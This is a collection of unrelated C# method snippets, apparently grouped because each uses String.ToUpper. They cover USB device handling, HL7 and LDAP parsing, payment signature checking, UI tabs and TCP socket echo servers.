public virtual Boolean Open(String DevicePath) { m_Path = DevicePath.ToUpper(); m_WinUsbHandle = (IntPtr) INVALID_HANDLE_VALUE; if (GetDeviceHandle(m_Path)) { if (WinUsb_Initialize(m_FileHandle, ref m_WinUsbHandle)) { if (InitializeDevice()) { m_IsActive = true; } else { WinUsb_Free(m_WinUsbHandle); m_WinUsbHandle = (IntPtr) INVALID_HANDLE_VALUE; } } else { m_FileHandle.Close(); } } return m_IsActive; }
public override IRow Process(IRow inRow, IUpdatableRow outRow) { var row = (ScopeEngineManaged.SqlIpRow)inRow; var output = (ScopeEngineManaged.SqlIpUpdatableRow)outRow; int exceptionIndex = 0; try { System.Int32 col_COLOR_ID = row.GetInternal <System.Int32>(0); System.String col_COLOR_NAME = row.GetInternal <System.String>(1); System.String col_COLOR_RGB = row.GetInternal <System.String>(2); System.String col_IS_TRANSPARENT = row.GetInternal <System.String>(3); output.SetInternal(0, col_COLOR_NAME.ToUpper()); exceptionIndex++; output.SetInternal(1, col_IS_TRANSPARENT.ToUpper() == "T" ? "Y" : "N"); exceptionIndex++; output.SetInternal(2, col_COLOR_ID); exceptionIndex++; output.SetInternal(3, col_COLOR_RGB); exceptionIndex++; } catch (Exception exception) { ScopeEngineManaged.UserExceptionHelper.WrapUserExpressionException(exceptionsInfo[exceptionIndex], ScopeEngineManaged.SqlHelper.Dump(row), exception); } return(output.AsReadOnly()); }
public static bool VerifySignature(String content, String sign, String md5Key) { String signStr = content + "&key=" + md5Key; String calculateSign = MD5Util.MD5(signStr).ToUpper(); String tenpaySign = sign.ToUpper(); return (calculateSign == tenpaySign); }
public static string AddNewTabToTabContainer(TabContainer oTC, String TabName, String TabIdentity, string TabDesc, string hidClientID, bool IsEnabled) { Boolean IsTabExist = false; for (int n = 0; n <= oTC.Tabs.Count - 1; n++) { if (TabName.ToUpper() == oTC.Tabs[n].HeaderText.ToUpper()) { IsTabExist = true; } } if (!IsTabExist) { TabPanel oNewTab = CreateTab(TabName, TabDesc); oNewTab.Visible = true; oNewTab.Enabled = IsEnabled; oNewTab.ToolTip = TabDesc; oNewTab.ID = TabIdentity; oNewTab.HeaderTemplate = new TabHeaderTemplate(TabName, "", hidClientID, oNewTab.ID); oNewTab.TabIndex = Convert.ToInt16(oTC.Tabs.Count + 1); oTC.Tabs.Add(oNewTab); oTC.ActiveTabIndex = Convert.ToInt16(oTC.Tabs.Count - 1); } else { return TranslationFormDesignAddNewTabMSGValue; } return string.Empty; }
/// <summary> Attempts to retrieve the value of a leaf tag without using DOM or SAX. /// This method searches the given message string for the given tag name, and returns /// everything after the given tag and before the start of the next tag. Whitespace /// is stripped. This is intended only for lead nodes, as the value is considered to /// end at the start of the next tag, regardless of whether it is the matching end /// tag or some other nested tag. /// </summary> /// <param name="message">a string message in XML form /// </param> /// <param name="tagName">the name of the XML tag, e.g. "MSA.2" /// </param> /// <param name="startAt">the character location at which to start searching /// </param> /// <throws> HL7Exception if the tag can not be found </throws> protected internal virtual System.String parseLeaf(System.String message, System.String tagName, int startAt) { System.String value_Renamed = null; //UPGRADE_WARNING: Method 'java.lang.String.indexOf' was converted to 'System.String.IndexOf' which may throw an exception. "ms-help://MS.VSCC.v80/dv_commoner/local/redirect.htm?index='!DefaultContextWindowIndex'&keyword='jlca1101'" int tagStart = message.IndexOf("<" + tagName, startAt); if (tagStart < 0) { //UPGRADE_WARNING: Method 'java.lang.String.indexOf' was converted to 'System.String.IndexOf' which may throw an exception. "ms-help://MS.VSCC.v80/dv_commoner/local/redirect.htm?index='!DefaultContextWindowIndex'&keyword='jlca1101'" tagStart = message.IndexOf("<" + tagName.ToUpper(), startAt); } //UPGRADE_WARNING: Method 'java.lang.String.indexOf' was converted to 'System.String.IndexOf' which may throw an exception. "ms-help://MS.VSCC.v80/dv_commoner/local/redirect.htm?index='!DefaultContextWindowIndex'&keyword='jlca1101'" int valStart = message.IndexOf(">", tagStart) + 1; //UPGRADE_WARNING: Method 'java.lang.String.indexOf' was converted to 'System.String.IndexOf' which may throw an exception. "ms-help://MS.VSCC.v80/dv_commoner/local/redirect.htm?index='!DefaultContextWindowIndex'&keyword='jlca1101'" int valEnd = message.IndexOf("<", valStart); if (tagStart >= 0 && valEnd >= valStart) { value_Renamed = message.Substring(valStart, (valEnd) - (valStart)); } else { throw new HL7Exception("Couldn't find " + tagName + " in message beginning: " + message.Substring(0, (System.Math.Min(150, message.Length)) - (0)), HL7Exception.REQUIRED_FIELD_MISSING); } return(value_Renamed); }
/// <summary> Returns the attribute with the given name.</summary> /// <param name="name">Name of attribute, case insensitive. /// </param> /// <returns> The attribute or null if it does /// not exist. /// </returns> public virtual TagAttribute GetAttributeEx(System.String name) { System.Collections.ArrayList attributes; int size; TagAttribute attribute; System.String string_Renamed; TagAttribute ret; ret = null; attributes = AttributesEx; if (null != attributes) { size = attributes.Count; for (int i = 0; i < size; i++) { attribute = (TagAttribute)attributes[i]; string_Renamed = attribute.GetName(); if ((null != string_Renamed) && name.ToUpper().Equals(string_Renamed.ToUpper())) { ret = attribute; i = size; // exit fast } } } return(ret); }
/// <inheritdoc /> public override sealed bool ExecuteCommand(String args) { int index = args.IndexOf('='); String dots = args.Substring(0, (index) - (0)).Trim(); String v = args.Substring(index + 1).Trim(); PropertyEntry entry = PropertyConstraints.Instance .FindEntry(dots); if (entry == null) { throw new AnalystError("Unknown property: " + args.ToUpper()); } // strip quotes if (v[0] == '\"') { v = v.Substring(1); } if (v.EndsWith("\"")) { v = v.Substring(0, (v.Length - 1) - (0)); } String[] cols = dots.Split('.'); String section = cols[0]; String subSection = cols[1]; String name = cols[2]; entry.Validate(section, subSection, name, v); Prop.SetProperty(entry.Key, v); return false; }
/// <summary> /// Creates a new WordNode. /// </summary> /// <param name="text">The actual text of the word.</param> /// <param name="tag">The part-of-speech of the word.</param> /// <param name="confidence">A rating of the confidence of the part-of-speech tagging for this word.</param> public WordNode(String text, PartOfSpeechTag tag, double confidence) { if(text == null) { throw new ArgumentNullException("text"); } this.Text = text; this.Tag = tag; this.Confidence = confidence; if(text == text.ToUpper()) { this.AllCaps = true; } }
//Regex nonAlphabeticPattern = new Regex("\\P{IsL}"); public override ValueEval Evaluate(String text) { StringBuilder sb = new StringBuilder(); bool shouldMakeUppercase = true; String lowercaseText = text.ToLower(); String uppercaseText = text.ToUpper(); bool prevCharIsLetter = char.IsLetter(text[0]); sb.Append(uppercaseText[0]); for (int i = 1; i < text.Length; i++) { shouldMakeUppercase = !prevCharIsLetter; if (shouldMakeUppercase) { sb.Append(uppercaseText[(i)]); } else { sb.Append(lowercaseText[(i)]); } prevCharIsLetter = char.IsLetter(text[i]); } return new StringEval(sb.ToString()); }
// public void save (OutputStream os, String comment) {} // Developer support: Tracing and debugging enquiry methods (package-private) //........................................................................... /// <summary> Return true if tracing is requested for a given class.<p> /// * /// User indicates this by setting the tracing <code>boolean</code> /// property for <i>label</i> in the <code>(algorithm).properties</code> /// file. The property's key is "<code>Trace.<i>label</i></code>".<p> /// * /// </summary> /// <param name="label"> The name of a class. /// </param> /// <returns>True iff a boolean true value is set for a property with /// the key <code>Trace.<i>label</i></code>. /// /// </returns> internal static bool isTraceable(System.String label) { System.String s = getProperty("Trace." + label); if (s == null) { return(false); } return(s.ToUpper().Equals("TRUE")); }
/// <summary> /// /// </summary> /// <param name="linkTextToFind"></param> /// <param name="locale"></param> public LinkFindingVisitor(System.String linkTextToFind, System.Globalization.CultureInfo locale) { count = 0; this.locale = (null == locale)?new System.Globalization.CultureInfo("en"):locale; #if NETFX_CORE && UNITY_METRO && !UNITY_EDITOR this.linkTextToFind = linkTextToFind.ToUpper(); #else this.linkTextToFind = linkTextToFind.ToUpper(this.locale); #endif }
// ####################################################################### // The following methods retrieve a SchemaElement given a Key name: // ####################################################################### /// <summary> This function abstracts retrieving LdapSchemaElements from the local /// copy of schema in this LdapSchema class. This is used by /// <code>getXXX(String name)</code> functions. /// /// Note that the nameTable has all keys cast to Upper-case. This is so /// we can have a case-insensitive HashMap. The getXXX (String key) /// methods will also cast to uppercase. /// /// The first character of a NAME string can only be an alpha character /// (see section 4.1 of rfc2252) Thus if the first character is a digit we /// can conclude it is an OID. Note that this digit is ASCII only. /// /// </summary> /// <param name="schemaType">Specifies which list is to be used in schema /// lookup. /// </param> /// <param name="key"> The key can be either an OID or a name string. /// </param> private LdapSchemaElement getSchemaElement(int schemaType, System.String key) { if ((System.Object)key == null || key.ToUpper().Equals("".ToUpper())) { return(null); } char c = key[0]; if (c >= '0' && c <= '9') { //oid lookup return((LdapSchemaElement)idTable[schemaType][key]); } else { //name lookup return((LdapSchemaElement)nameTable[schemaType][key.ToUpper()]); } }
/// <summary> Internal function used by equal to compare Attribute types. Because /// attribute types could either be an OID or a name. There needs to be a /// Translation mechanism. This function will absract this functionality. /// /// Currently if types differ (Oid and number) then UnsupportedOperation is /// thrown, either one or the other must used. In the future an OID to name /// translation can be used. /// /// /// </summary> private bool equalAttrType(System.String attr1, System.String attr2) { if (System.Char.IsDigit(attr1[0]) ^ System.Char.IsDigit(attr2[0])) { //isDigit tests if it is an OID throw new System.ArgumentException("OID numbers are not " + "currently compared to attribute names"); } return(attr1.ToUpper().Equals(attr2.ToUpper())); }
/// <summary> /// Capitalizes the first letter of the specified string. /// </summary> /// <param name="strToCapitalize">the string to Capitalize /// </param> /// <returns> the capitalized string /// </returns> private String Capitalize(System.String strToCapitalize) { if (strToCapitalize.Length <= 1) { return(strToCapitalize.ToUpper()); } else { return(strToCapitalize.Substring(0, (1) - (0)).ToUpper() + strToCapitalize.Substring(1)); } }
/// <summary> Formats a Message object into an HL7 message string using the given /// encoding. /// </summary> /// <throws> HL7Exception if the data fields in the message do not permit encoding </throws> /// <summary> (e.g. required fields are null) /// </summary> /// <throws> EncodingNotSupportedException if the requested encoding is not </throws> /// <summary> supported by this parser. /// </summary> protected internal override System.String doEncode(Message source, System.String encoding) { System.String ret = null; if (encoding == null) { encoding = ""; //prevent null pointer exception } if (encoding.ToUpper().Equals("VB".ToUpper())) { ret = pipeParser.doEncode(source); } else if (encoding.ToUpper().Equals("XML".ToUpper())) { ret = xmlParser.doEncode(source); } else { throw new NuGenEncodingNotSupportedException("The encoding " + encoding + " is not supported by " + this.GetType().FullName); } return(ret); }
// This the call back function which will be invoked when the socket // detects any client writing of data on the stream public void OnDataReceived(IAsyncResult asyn) { SocketPacket socketData = (SocketPacket)asyn.AsyncState; try { // Complete the BeginReceive() asynchronous call by EndReceive() method // which will return the number of characters written to the stream // by the client int iRx = socketData.m_currentSocket.EndReceive(asyn); char[] chars = new char[iRx + 1]; // Extract the characters as a buffer System.Text.Decoder d = System.Text.Encoding.UTF8.GetDecoder(); int charLen = d.GetChars(socketData.dataBuffer, 0, iRx, chars, 0); System.String szData = new System.String(chars); string msg = "" + socketData.m_clientNumber + ":"; AppendToRichEditControl(msg + szData); // Send back the reply to the client string replyMsg = "Server Reply:" + szData.ToUpper(); // Convert the reply to byte array byte[] byData = System.Text.Encoding.ASCII.GetBytes(replyMsg); Socket workerSocket = (Socket)socketData.m_currentSocket; workerSocket.Send(byData); // Continue the waiting for data on the Socket WaitForData(socketData.m_currentSocket, socketData.m_clientNumber); } catch (ObjectDisposedException) { System.Diagnostics.Debugger.Log(0, "1", "\nOnDataReceived: Socket has been closed\n"); } catch (SocketException se) { if (se.ErrorCode == 10054) // Error code for Connection reset by peer { string msg = "Client " + socketData.m_clientNumber + " Disconnected" + "\n"; AppendToRichEditControl(msg); // Remove the reference to the worker socket of the closed client // so that this object will get garbage collected m_workerSocketList[socketData.m_clientNumber - 1] = null; UpdateClientListControl(); } else { MessageBox.Show(se.Message); } } }
/// <summary> /// 侦听到客户端数据回调his the call back function which will be invoked when the socket /// detects any client writing of data on the stream /// </summary> /// <param name="asyn"></param> private void ReadCallBack(IAsyncResult asyn) { SocketPacket socketData = (SocketPacket)asyn.AsyncState; try { // Complete the BeginReceive() asynchronous call by EndReceive() method // which will return the number of characters written to the stream // by the client int iRx = socketData.m_currentSocket.EndReceive(asyn); char[] chars = new char[iRx + 1]; // Extract the characters as a buffer System.Text.Decoder d = System.Text.Encoding.UTF8.GetDecoder(); int charLen = d.GetChars(socketData.dataBuffer, 0, iRx, chars, 0); System.String szData = new System.String(chars); // 构造事件 ItemValueResult[] values = new ItemValueResult[1]; values[0] = new ItemValueResult(); values[0].Value = socketData.dataBuffer; values[0].ItemName = "MODBUS Server:" + socketData.m_currentSocket.LocalEndPoint.ToString(); base.OnDataChange(null, null, values); // Send back the reply to the client string replyMsg = "Server Reply:" + szData.ToUpper(); // Convert the reply to byte array byte[] byData = System.Text.Encoding.ASCII.GetBytes(replyMsg); Socket workerSocket = (Socket)socketData.m_currentSocket; workerSocket.Send(byData); // Continue the waiting for data on the Socket WaitForData(socketData.m_currentSocket, socketData.m_clientNumber); } catch (ObjectDisposedException ex) { System.Diagnostics.Debugger.Log(0, "1", "\nOnDataReceived: Socket has been closed\n"); CLOGException.Trace("函数CommunicationLib.CTcpServerAccess.ReadCallBack 异常", CBaseMethods.MyBase.GetExceptionInfo(ex)); } catch (SocketException ex) { if (ex.ErrorCode == 10054) // Error code for Connection reset by peer { // Remove the reference to the worker socket of the closed client // so that this object will get garbage collected m_workerSocketList[socketData.m_clientNumber - 1] = null; } CLOGException.Trace("函数CommunicationLib.CTcpServerAccess.ReadCallBack 异常", CBaseMethods.MyBase.GetExceptionInfo(ex)); } }